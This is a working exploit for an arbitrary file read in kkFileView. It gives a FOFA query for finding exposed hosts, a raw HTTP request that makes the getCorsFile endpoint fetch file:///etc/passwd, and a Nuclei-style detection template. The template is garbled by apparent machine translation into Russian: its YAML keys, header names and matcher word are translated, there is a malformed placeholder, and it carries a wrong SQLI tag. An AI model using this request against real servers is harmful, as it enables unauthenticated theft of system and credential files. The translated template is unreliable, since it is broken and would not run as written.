"fileview" && is_domain=true && country="CN"

GET /getCorsFile?urlPath=file:///etc/passwd HTTP/1.1
Host: XXXXX.com
Sec-Ch-Ua: "Chromium";v="97", " Not;A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

id: kkfileviewreadfile
info:
  name: kkfileview читает любой файл
  author: someone
  severity: critical
  description: kkfileview читает любой файл,Благодаря этой уязвимости злоумышленник, не прошедший проверку подлинности, может получить конфиденциальную информацию базы данных и учетные данные.,В конечном итоге сервер может выйти из строя.
  ссылка:
  метаданные:
    проверено: правда
    максимальный запрос: 1
    fofa-запрос: FOFA:app="kkfileview"
  Теги: SQLI

запросы:
  - сырой:
      - |
        GET /getCorsFile?urlPath=file:///etc/passwd HTTP/2
        Хост: {{Имя хоста)}}
        Sec-Ch-Ua: "Chromium";v="97", " Not;A Brand";v="99"
        Сек-Ч-Уа-Мобильный: ?0
        Сек-Ч-Уа-Платформа: «Windows»
        Небезопасные запросы на обновление: 1
        Пользовательский агент: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, например Gecko) Chrome/97.0.4692.71 Safari/537.36
        Принять: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3; д=0,9
        Sec-Fetch-Site: нет
        Sec-Fetch-Mode: навигация
        Sec-Fetch-User: ?1
        Sec-Fetch-Dest: документ
        Принять-кодирование: gzip, deflate
        Принять-Язык: zh-CN,zh;q=0,9

    условие соответствия: и
    сопоставители:
      - тип: слово
        часть: тело
        слова:
          - 'корень'
        состояние: и

      - тип: статус
        статус:
          - 200